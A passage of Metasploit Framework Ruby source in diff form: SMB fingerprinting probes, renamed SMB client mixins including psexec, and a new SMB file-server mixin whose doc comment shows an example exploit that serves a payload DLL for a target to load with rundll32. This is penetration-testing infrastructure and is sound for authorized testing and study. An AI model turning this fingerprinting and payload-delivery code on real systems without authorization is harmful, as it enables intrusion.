return nil if pcnt == 0
return nil if bcnt > blen
return nil if pcnt < 3
#
# The correct way, which leads to invalid offsets :-(
#
#providers = []
#
#0.upto(pcnt-1) do |i|
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
#
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
# #providers << [flags,desc,name,comm]
#end
#
#providers
return resp
end
# This method performs an extensive set of fingerprinting operations
def smb_fingerprint
fprint = {}
# Connect to the server if needed
if not self.simple
connect()
smb_login()
end
fprint['native_os'] = smb_peer_os()
fprint['native_lm'] = smb_peer_lm()
# Leverage Recog for SMB native OS fingerprinting
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
os = fp_match['os.product'] || 'Unknown'
sp = fp_match['os.version'] || ''
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
if os =~ /^Windows Server/
os = os.sub(/^Windows Server/, 'Windows')
end
if fp_match['os.edition']
fprint['edition'] = fp_match['os.edition']
end
if fp_match['os.build']
fprint['build'] = fp_match['os.build']
end
if sp == ''
sp = smb_fingerprint_windows_sp(os)
end
lang = smb_fingerprint_windows_lang
fprint['os'] = os
fprint['sp'] = sp
fprint['lang'] = lang
fprint
end
#
# Determine the service pack level of a Windows system via SMB probes
#
def smb_fingerprint_windows_sp(os)
sp = ''
if (os == 'Windows XP')
# SRVSVC was blocked in SP2
begin
smb_create("\\SRVSVC")
sp = 'Service Pack 0 / 1'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 2+'
end
end
end
if (os == 'Windows 2000' and sp.length == 0)
# LLSRPC was blocked in a post-SP4 update
begin
smb_create("\\LLSRPC")
sp = 'Service Pack 0 - 4'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 4 with MS05-010+'
end
end
end
#
# Perform granular XP SP checks if LSARPC is exposed
#
if (os == 'Windows XP')
#
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
# Credit to spoonm for first use of unbounded [out] buffers
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub =
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.long(64001) +
NDR.long(0) +
NDR.long(0)
dcerpc.call(0x22, stub)
sp = "Service Pack 0 / 1"
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
sp = "Service Pack 2+"
rescue ::Exception
end
#
# Service Pack 3 fixed information leaks via [unique][out] pointers
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
# Credit:
# Pointer leak is well known, but Immunity also covered in a paper
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
resp = dcerpc.call(0x1c, stub)
if(resp and resp[0,4] == "\x00\x00\x02\x00")
sp = "Service Pack 3"
else
if(resp and sp =~ /Service Pack 2\+/)
sp = "Service Pack 2"
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Exception
end
end
sp
end
#
# Determine the native language pack of a Windows system via SMB probes
#
def smb_fingerprint_windows_lang
#
# Remote language detection via Print Providers
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
#
lang = 'Unknown'
sigs =
{
'English' =>
[
Rex::Text.to_unicode('Windows NT Remote Printers'),
Rex::Text.to_unicode('LanMan Print Services')
],
'Spanish' =>
[
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
],
'Italian' =>
[
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
Rex::Text.to_unicode('Servizi di stampa LanMan')
],
'French' =>
[
Rex::Text.to_unicode('Imprimantes distantes NT'),
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
Rex::Text.to_unicode("Services d'impression LanMan")
],
'German' =>
[
Rex::Text.to_unicode('Remotedrucker')
],
'Portuguese - Brazilian' =>
[
Rex::Text.to_unicode('Impr. remotas Windows NT'),
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
],
'Portuguese' =>
[
Rex::Text.to_unicode('Imp. remotas do Windows NT')
],
'Hungarian' =>
[
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
],
'Finnish' =>
[
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
],
'Dutch' =>
[
Rex::Text.to_unicode('Externe printers voor NT')
],
'Danish' =>
[
Rex::Text.to_unicode('Fjernprintere')
],
'Swedish' =>
[
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
],
'Polish' =>
[
Rex::Text.to_unicode('Zdalne drukarki')
],
'Czech' =>
[
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
],
'Turkish' =>
[
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
],
'Japanese' =>
[
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
],
'Chinese - Traditional' =>
[
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
],
'Chinese - Traditional / Taiwan' =>
[
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
],
'Korean' =>
[
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
],
'Russian' =>
[
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
],
}
begin
prov = smb_enumprintproviders()
if(prov)
sigs.each_key do |k|
sigs[k].each do |s|
if(prov.index(s))
lang = k
break
end
break if lang != 'Unknown'
end
break if lang != 'Unknown'
end
if(lang == 'Unknown')
@fpcache ||= {}
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
if(not @fpcache[mhash])
buff = "\n"
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
buff << " VERS: $Revision$\n"
buff << " HOST: #{rhost}\n"
buff << " OS: #{os}\n"
buff << " SP: #{sp}\n"
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
next if line.length == 0
buff << " FP: #{line}\n"
end
prov.split(/\x00\x00+/n).each do |line|
line.gsub!("\x00",'')
line.strip!
next if line.length < 6
buff << " TXT: #{line}\n"
end
buff << "*** END FINGERPRINT\n"
print_line(buff)
@fpcache[mhash] = true
end
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
lang
end
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
end
end
end

View File

@ -4,9 +4,9 @@ module Msf
# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced
# Included when the module needs credentials to function
module Exploit::Remote::SMB::Authenticated
module Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super
@ -15,7 +15,7 @@ module Exploit::Remote::SMB::Authenticated
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']),
], Msf::Exploit::Remote::SMB::Authenticated)
], Msf::Exploit::Remote::SMB::Client::Authenticated)
end
end

View File

@ -11,11 +11,11 @@ module Msf
# and running a binary.
####
module Exploit::Remote::SMB::Psexec
module Exploit::Remote::SMB::Client::Psexec
include Rex::Constants::Windows
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Exploit::Remote::SMB::Client::Authenticated
def initialize(info = {})
super

View File

@ -0,0 +1,156 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB
# This mixin provides a minimal SMB server
module Server
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::NTLM
CONST = ::Rex::Proto::SMB::Constants
CRYPT = ::Rex::Proto::SMB::Crypt
UTILS = ::Rex::Proto::SMB::Utils
XCEPT = ::Rex::Proto::SMB::Exceptions
EVADE = ::Rex::Proto::SMB::Evasions
def initialize(info = {})
super
deregister_options('SSL', 'SSLCert')
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
], self.class)
end
def setup
super
@state = {}
end
def on_client_connect(client)
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
smb_conn(client)
end
def on_client_data(client)
# print_status("New data from #{client.peerhost}:#{client.peerport}")
smb_recv(client)
true
end
def on_client_close(client)
smb_stop(client)
end
def smb_conn(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
end
def smb_stop(c)
@state.delete(c)
end
def smb_recv(c)
smb = @state[c]
smb[:data] ||= ''
smb[:data] << c.get_once
while(smb[:data].length > 0)
return if smb[:data].length < 4
plen = smb[:data][2,2].unpack('n')[0]
return if smb[:data].length < plen+4
buff = smb[:data].slice!(0, plen+4)
pkt_nbs = CONST::NBRAW_PKT.make_struct
pkt_nbs.from_s(buff)
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
# Check for a NetBIOS name request
if (pkt_nbs.v['Type'] == 0x81)
# Accept any name they happen to send
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
smb[:nbdst] = host_dst
smb[:nbsrc] = host_src
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
c.write("\x82\x00\x00\x00")
next
end
#
# TODO: Support AndX parameters
#
# Cast this to a generic SMB structure
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
# Only response to requests, ignore server replies
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
print_status("Ignoring server response from #{smb[:name]}")
next
end
cmd = pkt['Payload']['SMB'].v['Command']
begin
smb_cmd_dispatch(cmd, c, buff)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
next
end
end
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
print_status("Received command #{cmd} from #{smb[:name]}")
end
def smb_set_defaults(c, pkt)
smb = @state[c]
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
end
def smb_error(cmd, c, errorclass, esn = false)
# 0xc0000022 = Deny
# 0xc000006D = Logon_Failure
# 0x00000000 = Ignore
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
if esn
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_EXTENDED_SECURITY +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
else
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)
end
end
end
end

View File

@ -0,0 +1,297 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/proto/smb'
require 'rex/text'
require 'rex/logging'
require 'rex/struct2'
require 'rex/proto/smb/constants'
require 'rex/proto/smb/utils'
require 'rex/proto/dcerpc'
module Msf
module Exploit::Remote::SMB::Server
# This mixin provides a minimal SMB server sharing an UNC resource. At
# this moment it is capable to share just one file. And the file should
# live in the root folder "\\".
#
# @example Use it from an Auxiliary module
# require 'msf/core'
#
# class Metasploit3 < Msf::Auxiliary
#
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize
# super(
# 'Name' => 'SMB File Server',
# 'Description' => %q{
# This module provides a SMB File Server service
# },
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'License' => MSF_LICENSE,
# 'Actions' =>
# [
# ['Service']
# ],
# 'PassiveActions' =>
# [
# 'Service'
# ],
# 'DefaultAction' => 'Service'
# )
# end
#
# def run
# print_status("Starting SMB Server on #{unc}...")
# exploit
# end
#
# def primer
# print_status("Primer...")
# self.file_contents = 'METASPLOIT'
# end
# end
#
# @example Use it from an Exploit module
# require 'msf/core'
#
# class Metasploit3 < Msf::Exploit::Remote
# Rank = ExcellentRanking
#
# include Msf::Exploit::EXE
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize(info={})
# super(update_info(info,
# 'Name' => "Example Exploit",
# 'Description' => %q{
# Example exploit, the Server shares a DLL embedding the payload. A session
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
# from the target.
# },
# 'License' => MSF_LICENSE,
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'References' =>
# [
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
# ],
# 'Payload' =>
# {
# 'Space' => 2048,
# 'DisableNops' => true
# },
# 'Platform' => 'win',
# 'Targets' =>
# [
# ['Windows XP SP3 / Windows 2003 SP2', {}],
# ],
# 'Privileged' => false,
# 'DisclosureDate' => "Mar 02 2015",
# 'DefaultTarget' => 0))
#
# register_options(
# [
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
# ], self.class)
#
# deregister_options('FILE_CONTENTS')
# end
#
# def primer
# self.file_contents = generate_payload_dll
# print_status("File available on #{unc}...")
# end
# end
module Share
require 'msf/core/exploit/smb/server/share/command'
require 'msf/core/exploit/smb/server/share/information_level'
include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query
include Msf::Exploit::Remote::SMB::Server
FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
CONST::FLAGS2_EXTENDED_SECURITY |
CONST::FLAGS2_32_BIT_ERROR_CODES |
CONST::FLAGS2_LONG_PATH_COMPONENTS
CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
CONST::CAP_LARGE_WRITEX |
CONST::CAP_LARGE_READX |
CONST::CAP_PASSTHRU |
CONST::CAP_DFS |
CONST::CAP_NT_FIND |
CONST::CAP_LOCK_AND_READ |
CONST::CAP_LEVEL_II_OPLOCKS |
CONST::CAP_STATUS32 |
CONST::CAP_RPC_REMOTE_APIS |
CONST::CAP_NT_SMBS |
CONST::CAP_LARGE_FILES |
CONST::CAP_UNICODE |
CONST::CAP_RAW_MODE
CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
CONST::SMB_WRITE_ACCESS |
CONST::SMB_APPEND_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_WRITE_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_DELETE_CHILD_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
CONST::SMB_DELETE_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_WRITE_DAC_ACCESS |
CONST::SMB_WRITE_OWNER_ACCESS |
CONST::SMB_SYNC_ACCESS
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_SYNC_ACCESS
# @!attribute share
# @return [String] The share portion of the provided UNC.
attr_accessor :share
# @!attribute path_name
# @return [String] The folder where the provided file lives.
# @note UNSUPPORTED
attr_accessor :path_name
# @!attribute file_name
# @return [String] The file name of the provided UNC.
attr_accessor :file_name
# @!attribute hi
# @return [Fixnum] The high 4 bytes for the file 'created time'.
attr_accessor :hi
# @!attribute lo
# @return [Fixnum] The low 4 bytes for the file 'created time'.
attr_accessor :lo
# @!attribute file_contents
# @return [String] The contents of the provided file
attr_accessor :file_contents
def initialize(info = {})
super
register_options(
[
OptString.new('SHARE', [ false, 'Share (Default Random)']),
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
], Msf::Exploit::Remote::SMB::Server::Share)
end
# Setups the server configuration.
def setup
super
self.path_name = '\\' # TODO: Add subdirectories support
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
t = Time.now.to_i
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
# The module has an opportunity to set up the file contents in the "primer callback"
if datastore['FILE_CONTENTS']
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
else
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
end
end
# Builds the UNC Name for the shared file
def unc
"\\\\#{srvhost}\\#{share}\\#{file_name}"
end
# Builds the server address.
#
# @return [String] The server address.
def srvhost
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
end
# New connection handler, executed when there is a new conneciton.
#
# @param c [Socket] The client establishing the connection.
# @return [Hash] The hash with the client data initialized.
def smb_conn(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:multiplex_id => rand(0xffff),
:process_id => rand(0xffff),
:file_id => 0xdead,
:dir_id => 0xbeef
}
end
# Main dispatcher function. Takes the client data and performs a case switch
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
#
# @param cmd [Fixnum] The SMB Command requested.
# @param c [Socket] The client to answer.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
case cmd
when CONST::SMB_COM_NEGOTIATE
return smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
word_count = pkt['Payload']['SMB'].v['WordCount']
if word_count == 0x0d # Share Security Mode sessions
return smb_cmd_session_setup_andx(c, buff)
else
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
when CONST::SMB_COM_TRANSACTION2
return smb_cmd_trans2(c, buff)
when CONST::SMB_COM_NT_CREATE_ANDX
return smb_cmd_nt_create_andx(c, buff)
when CONST::SMB_COM_READ_ANDX
return smb_cmd_read_andx(c, buff)
when CONST::SMB_COM_CLOSE
return smb_cmd_close(c, buff)
else
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
require 'msf/core/exploit/smb/server/share/command/close'
require 'msf/core/exploit/smb/server/share/command/negotiate'
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
require 'msf/core/exploit/smb/server/share/command/read_andx'
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
require 'msf/core/exploit/smb/server/share/command/trans2'
end
end
end
end

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Close
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
# of an object associated with a valid FID.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_close(c, buff)
send_close_res(c)
end
# Builds and sends an SMB_COM_CLOSE response.
#
# @param c [Socket] The client to answer.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_close_res(c)
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,90 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Negotiate
# Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
# SMB connection between the client and the server.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_negotiate(c, buff)
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
dialect = dialects.index("NT LM 0.12") || dialects.length-1
send_negotitate_res(c, {
dialect: dialect,
security_mode: CONST::NEG_SECURITY_PASSWORD,
max_mpx: 50,
max_vcs: 1,
max_buff: 4356,
max_raw: 65536,
server_time_zone: 0,
capabilities: CAPABILITIES,
key_length: 8,
key: Rex::Text.rand_text_hex(8)
})
end
# Builds and sends an SMB_COM_CLOSE response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
# @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
# @option opts [Fixnum] :security_mode Security modes supported or required by the server.
# @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
# @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
# @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
# @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
# @option opts [Fixnum] :server_time_zone The server's time zone.
# @option opts [Fixnum] :capabilities The server capability indicators.
# @option opts [Fixnum] :key_length The challenge length.
# @option opts [String] :key The challenge.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_negotitate_res(c, opts = {})
dialect = opts[:dialect] || 0
security_mode = opts[:security_mode] || 0
max_mpx = opts[:max_mpx] || 0
max_vcs = opts[:max_vcs] || 0
max_buff = opts[:max_buff] || 0
max_raw = opts[:max_raw] || 0
server_time_zone = opts[:server_time_zone] || 0
capabilities = opts[:capabilities] || 0
key_length = opts[:key_length] || 0
key = opts[:key] || ''
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = security_mode
pkt['Payload'].v['MaxMPX'] = max_mpx
pkt['Payload'].v['MaxVCS'] = max_vcs
pkt['Payload'].v['MaxBuff'] = max_buff
pkt['Payload'].v['MaxRaw'] = max_raw
pkt['Payload'].v['SystemTimeLow'] = lo
pkt['Payload'].v['SystemTimeHigh'] = hi
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['Capabilities'] = capabilities
pkt['Payload'].v['KeyLength'] = key_length
pkt['Payload'].v['Payload'] = key
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,105 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module NtCreateAndx
# Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
# open a new file.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_nt_create_andx(c, buff)
smb = @state[c]
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt.from_s(buff)
payload = (pkt['Payload'].v['Payload']).downcase
payload.gsub!(/^[\x00]*/, '') # delete padding
payload = Rex::Text.ascii_safe_hex(payload)
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
if payload.nil? || payload.empty?
payload = file_name
end
if payload.ends_with?(file_name.downcase)
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
fid = smb[:file_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
eof = file_contents.length
is_dir = 0
elsif payload.eql?(path_name.downcase)
fid = smb[:dir_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
eof = 0
is_dir = 1
else
# Otherwise send not found
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found")
return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_nt_create_andx_res(c, {
file_id: fid,
attributes: attribs,
end_of_file_low: eof,
is_directory: is_dir,
alloc_low: 0x100000
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
# @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
# @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
# @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
# @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
# @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_nt_create_andx_res(c, opts = {})
file_id = opts[:file_id] || 0
attributes = opts[:attributes] || 0
end_of_file_low = opts[:end_of_file_low] || 0
is_directory = opts[:is_directory] || 0
alloc_low = opts[:alloc_low] || 0
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
pkt['Payload'].v['FileID'] = file_id
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
pkt['Payload'].v['CreateTimeLow'] = lo
pkt['Payload'].v['CreateTimeHigh'] = hi
pkt['Payload'].v['AccessTimeLow'] = lo
pkt['Payload'].v['AccessTimeHigh'] = hi
pkt['Payload'].v['WriteTimeLow'] = lo
pkt['Payload'].v['WriteTimeHigh'] = hi
pkt['Payload'].v['ChangeTimeLow'] = lo
